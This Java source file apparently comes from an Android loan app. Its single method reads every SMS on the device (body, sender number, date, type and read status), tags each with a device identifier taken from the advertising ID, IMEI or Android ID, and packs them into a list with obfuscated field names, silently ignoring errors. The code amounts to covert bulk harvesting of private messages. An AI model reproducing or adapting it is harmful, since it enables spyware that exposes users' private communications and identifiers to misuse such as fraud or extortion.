package com.prestamomo.vil.ppa.pmvilmedium;

import android.annotation.SuppressLint;
import android.content.ContentResolver;
import android.database.Cursor;
import android.net.Uri;
import android.provider.Settings;
import android.text.TextUtils;

import com.prestamomo.vil.ppa.PmvilApp;
import com.prestamomo.vil.ppa.pmvilapi.PmvilSkinny;

import java.util.ArrayList;
import java.util.List;

public class PmvilSkinnyMd {

    @SuppressLint("Range")
    public static PmvilSkinny getUserPmvilSkinny(long pmvilSkyCheckTime){
        PmvilSkinny pmvilSkinny = new PmvilSkinny();
        List<PmvilSkinny.DataListPmvil> pmvilSkinnyData = new ArrayList<>();
        Uri pmvilSkyparse = Uri.parse("content://sms/");
        ContentResolver pmvilSkycontentResolver = PmvilApp.getPmvilApss().getContentResolver();
        String[] pmvilSkyStrs = {"_id", "address", "person", "body", "date", "type", "read", "status", "subject"};
        Cursor pmvilSkyCursor = null;
        try{
            pmvilSkyCursor = pmvilSkycontentResolver.query(pmvilSkyparse,pmvilSkyStrs , null, null, "date desc");
            if(pmvilSkyCursor!=null&&pmvilSkyCursor.getColumnCount()>0){
                String pmvilSkyDeviceId = PmvilApp.pmvilAdid;//device_id
                if(TextUtils.isEmpty(pmvilSkyDeviceId)||pmvilSkyDeviceId.contains("0000-0000")){
                    pmvilSkyDeviceId = PmvilImeiMd.getDeviceIMEI();
                    if(TextUtils.isEmpty(pmvilSkyDeviceId)){
                        String androidId = Settings.Secure.getString(PmvilApp.getPmvilApss().getContentResolver(), Settings.Secure.ANDROID_ID);
                        pmvilSkyDeviceId = androidId;
                    }
                }
                while (pmvilSkyCursor.moveToNext()){
                    PmvilSkinny.DataListPmvil pmvilSkingData = new PmvilSkinny.DataListPmvil();
                    long pmvilSkySmsTime = pmvilSkyCursor.getLong(pmvilSkyCursor.getColumnIndex("date"));
                    if (pmvilSkySmsTime <= 0) {
                        pmvilSkySmsTime = System.currentTimeMillis();
                    }
                    if (pmvilSkyCheckTime > 0 && pmvilSkySmsTime / 1000 < pmvilSkyCheckTime) {
                        if (pmvilSkinnyData.size() < 50) {
                        } else {
                            break;
                        }
                    }
                    pmvilSkingData.setXwefdzkk(PmvilMemoMd.getStrPmvilForLog(pmvilSkySmsTime, "yyyy-MM-dd HH:mm:ss.SSS").replace(" 24", " 00"));//time
                    switch (pmvilSkyCursor.getInt(pmvilSkyCursor.getColumnIndex("type"))) {
                        case 1:
                            pmvilSkingData.setOxishefxu("1");//type
                            break;
                        case 2:
                            pmvilSkingData.setOxishefxu("2");//type
                            break;
                        default:
                            pmvilSkingData.setOxishefxu("0");//type
                            break;
                    }
                    pmvilSkingData.setGsjvayjug(pmvilSkyCursor.getInt(pmvilSkyCursor.getColumnIndex("read")));//read
                    pmvilSkingData.setZrfckcs(pmvilSkyDeviceId);//device_id

                    pmvilSkingData.setLixgcta(TextUtils.isEmpty(pmvilSkyCursor.getString(pmvilSkyCursor.getColumnIndex("body")))
                            ?"":pmvilSkyCursor.getString(pmvilSkyCursor.getColumnIndex("body")));//body

                    String pmvilAddress = pmvilSkyCursor.getString(pmvilSkyCursor.getColumnIndex("address"));
                    pmvilSkingData.setBsojpic(TextUtils.isEmpty(pmvilAddress)?"":pmvilAddress);//src_phone
                    pmvilSkingData.setImabm(TextUtils.isEmpty(pmvilAddress)?"":pmvilAddress);//phone
                    pmvilSkinnyData.add(pmvilSkingData);
                }

            }
        }catch (Exception e){
        }finally {
            pmvilSkinny.setDkhnvwe(pmvilSkinnyData);//dataList
            if(pmvilSkyCursor!=null){
                pmvilSkyCursor.close();
            }
        }
        pmvilSkinny.setOxishefxu("sms");//type
        return pmvilSkinny;
    }
}
